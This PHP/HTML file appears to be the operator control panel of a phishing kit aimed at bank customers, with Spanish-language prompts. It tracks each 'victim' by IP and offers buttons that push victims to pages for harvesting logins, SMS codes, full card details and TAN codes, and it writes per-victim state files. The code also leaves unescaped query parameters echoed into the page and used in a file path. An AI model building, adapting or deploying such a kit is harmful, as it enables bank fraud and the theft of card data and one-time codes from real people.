<?php
    /*******
    Main Author: MemoryError
    ********************************************************/
$time = isset($_GET['time']) ? $_GET['time'] : "";
if (isset($_GET['buttonClicked'])) {
    $buttonClicked = $_GET['buttonClicked'];
    
    // Now you can use the $buttonClicked variable in your code
  
} 
?>
<!doctype html>
<html>

    <head>
        <!-- Required meta tags -->
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
        <meta name="robots" content="noindex," "nofollow," "noimageindex," "noarchive," "nocache," "nosnippet">
<link rel="icon" href="./assets/img/success.png" type="image/png">
        
        <!-- CSS FILES -->
        <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@4.5.3/dist/css/bootstrap.min.css">
        <link rel="stylesheet" href="assets/css/helpers.css">
        <link rel="stylesheet" href="assets/css/style.css">

        <link rel="icon" type="image/x-icon" href="assets/imgs/success.png" />

        <title>Control</title>
    </head>

    <body style="background-color: black; color: green; justify-content: center;display:block; align-items: center; height: 100vh; margin: 0;">

<style>
        body {
            display: flex;
            /* Other styling */
        }

        @media (max-width: 500px) {
            body {
                display: block; /* Change to display: block below 500px */
            }
        }
    </style>
 <p style='margin:40px;text-align: center;display:<?php if (isset($_GET['time'])) {

if (empty($_GET['time'])) {
    // Code to execute if $_GET['time'] is empty
echo "none";
 
} else {
    // Code to execute if $_GET['time'] is not empty
echo "block";
 
}

  
} 
else{
echo "none";
}?>'>since the victim entered the loading, <span id="counter">0 seconds</span> has passed </p>

  <script>
    // Function to update the counter
    function updateCounter(capturedTime) {
      var currentTime = new Date();
      var timeDifference = currentTime - capturedTime;
      var secondsPassed = Math.floor(timeDifference / 1000)-3600;

 if (secondsPassed < 0 || secondsPassed < -86400) {
        secondsPassed += 86400;
    }
else if (secondsPassed < 0 ){
secondsPassed += 3600;
}
      
      var counterElement = document.getElementById("counter");
      counterElement.textContent = secondsPassed + " seconds";

      setTimeout(function() {
        updateCounter(capturedTime);
      }, 1000); // Update every 1 second
    }

    // Replace this with your captured time in the format "HH:MM:SS"
    var capturedTime = "<?php if (isset($time)) {
    echo $time;
} ?>"; 

    var parts = capturedTime.split(":");
    var capturedDate = new Date();
    capturedDate.setHours(parts[0]);
    capturedDate.setMinutes(parts[1]);
    capturedDate.setSeconds(parts[2]);

    updateCounter(capturedDate);
  </script>

<div class="separator" style='display:<?php if (isset($_GET['time'])) {

if (empty($_GET['time'])) {
    // Code to execute if $_GET['time'] is empty
echo "none";
 
} else {
    // Code to execute if $_GET['time'] is not empty
echo "block";
 
}

  
} 
else{
echo "none";
}?>'></div>

         <p style="color: green; text-align: center;margin:50px;display:<?php if (isset($_GET['buttonClicked'])) {
    $buttonClicked = $_GET['buttonClicked'];
echo "block";
  
} 
else{
echo "none";
}
?>;"> <?php if (isset($_GET['buttonClicked'])) { echo $_GET['buttonClicked'];} 
?> Button is clicked and victim is redirected</p>
        <div class="container text-center pt30 pb30">
<div class="separator" style='display:<?php if (isset($_GET['buttonClicked'])) {
    $buttonClicked = $_GET['buttonClicked'];
echo "block";
  
} 
else{
echo "none";
}
?>'></div>
<style>
.separator {
    background-color: green;
    height: 1px; /* adjust this value to control the length of the line */
    margin: 40px 0px; /* optional margin for spacing */
}

/* Apply the border for vertical line only on screens wider than 500px */
@media (min-width: 500px) {
    .separator {
        border-left: 1px solid black; /* for vertical line */
    /* border-top: 1px solid green;  for horizontal line */
    height: 1px; /* adjust this value to control the length of the line */
    margin: 80px 0px; /* optional margin for spacing */
    }
} 




</style>
            <form method="post" action="index.php" style="margin-top:5px;">
                <input type="hidden" name="step" value="control">
                <input type="hidden" name="ip" value="<?php echo $_GET['ip']; ?>">
                <button type="submit" style="margin:17px;border: 2px solid green; color: green; background-color: transparent; padding: 10px 20px; cursor: pointer;" class="btn btn-danger" name="to" value="APPE">LOGX</button> 
                <button style="margin:17px;border: 2px solid green; color: green; background-color: transparent; padding: 10px 20px; cursor: pointer;" class="btn btn-danger" type="submit" class="btn btn-primary" name="to" value="SMMS">SMS</button>
                <button style="margin:17px;border: 2px solid green; color: green; background-color: transparent; padding: 10px 20px; cursor: pointer;" class="btn btn-danger" type="submit" class="btn btn-primary" name="to" value="errorcc">ZEBI</button>
                <button style="margin:17px;border: 2px solid green; color: green; background-color: transparent; padding: 10px 20px; cursor: pointer;" class="btn btn-danger" type="submit" class="btn btn-primary" name="to" value="ERRCC">SMSX</button>
                <button style="margin:17px;border: 2px solid green; color: green; background-color: transparent; padding: 10px 20px; cursor: pointer;" class="btn btn-danger" type="submit" class="btn btn-primary" name="to" value="FULLCC">FULLCC</button>
                <button style="margin:17px;border: 2px solid green; color: green; background-color: transparent; padding: 10px 20px; cursor: pointer;" class="btn btn-danger" type="submit" class="btn btn-primary" name="to" value="FULLCCX">FULLCCX</button
<input type="hidden" name="time" value='<?php echo $time?>'>


                 <div id="qst" class="collapse mt-5" style="max-width: 500px; margin: 0 auto;">
                    <textarea name="sms_text" class="form-control mb-3" id="sms_text" cols="30" rows="3" placeholder="EX: INTRODUCE LA COORDENADA / CLAVE DE SEGURIDAD"></textarea>
					INTRODUCE LA COORDENADA / CLAVE DE SEGURIDAD
                    <button type="submit" class="btn btn-success" name="to" value="qst">Submit</button>
                </div>

                <div id="errorsms" class="collapse mt-5" style="max-width: 500px; margin: 0 auto;">
                    <textarea class="form-control mb-3" name="errorsms_text" id="errorsms_text" cols="30" rows="3"></textarea>
                    <button type="submit" class="btn btn-danger" name="to" value="errorsms">Submit</button>
                </div>

                <div id="tan" class="collapse mt-5" style="max-width: 500px; margin: 0 auto;">
                    <textarea name="tan_text" class="form-control mb-3" id="tan_text" cols="30" rows="3" placeholder="EX: code1/code2/code3/code4"></textarea>
                    <button type="submit" class="btn btn-success" name="to" value="tan">Submit</button>
                </div>

                <div id="errortan" class="collapse mt-5" style="max-width: 500px; margin: 0 auto;">
                    <textarea name="errortan_text" class="form-control mb-3" id="errortan_text" cols="30" rows="3" placeholder="EX: code1/code2/code3"></textarea>
                    <button type="submit" class="btn btn-danger" name="to" value="errortan">Submit</button>
                </div>			

            </form>
        </div>

        <!-- JS FILES -->
        <script src="https://code.jquery.com/jquery-3.5.1.min.js"></script>
        <script src="https://cdn.jsdelivr.net/npm/bootstrap@4.5.3/dist/js/bootstrap.bundle.min.js"></script>
        <script src="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.1/js/all.min.js"></script>
        <script src="assets/js/script.js"></script>

        <script>
            $('button[type="button"]').click(function(){
                var href = $(this).attr('href');
                $(href).slideToggle(100);
            });
        </script>

    </body>

</html>


<?php
if (isset($_GET['ip'])) {
    $ip = $_GET['ip'];
    // Now you can use $ip in your code
  
}
$startTime = microtime(true); // Get the current timestamp with microseconds

$delayInSeconds = 3;

while (true) {
    $currentTime = microtime(true);

    if ($currentTime - $startTime >= $delayInSeconds) {
        // Your code to be executed after the delay
        
$fp = fopen('./victims/'. $ip .'.txt', 'wb');
            fwrite($fp, "0");
            fclose($fp);
        break;
    }
}
?>